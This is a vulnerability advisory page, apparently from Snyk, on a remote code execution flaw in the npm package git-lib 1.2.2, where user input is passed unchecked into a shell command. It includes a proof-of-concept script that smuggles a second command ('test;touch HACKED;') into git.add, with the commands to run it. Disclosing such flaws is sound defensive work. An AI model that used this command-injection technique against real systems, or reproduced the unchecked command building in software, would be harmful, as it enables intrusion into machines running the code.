git-lib@1.2.2 vulnerabilities

A github library for multiple package uses

Direct Vulnerabilities

Known vulnerabilities in the git-lib package. This does not include vulnerabilities belonging to this package’s dependencies.

Fix vulnerabilities automatically

Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

Fix for free
VulnerabilityVulnerable Version
  • M
Remote Code Execution (RCE)

git-lib is an a library with different git commands for uses.

Affected versions of this package are vulnerable to Remote Code Execution (RCE). A user input is formatted inside a command that will be executed without any check.

PoC by mik317

  • Create the following PoC file:
// poc.js
var git = require("git-lib");

git.add("test;touch HACKED;").then(function(){
    /** successfully added **/
}).catch(function(err){
    /** unsuccessful **/
});
  • Check there aren't files called HACKED
  • Execute the following commands in another terminal:
npm i git-lib # Install affected module
git init # Avoid problems with *git*
node poc.js #  Run the PoC
  • Recheck the files: now HACKED has been created

How to fix Remote Code Execution (RCE)?

There is no fixed version for git-lib.

*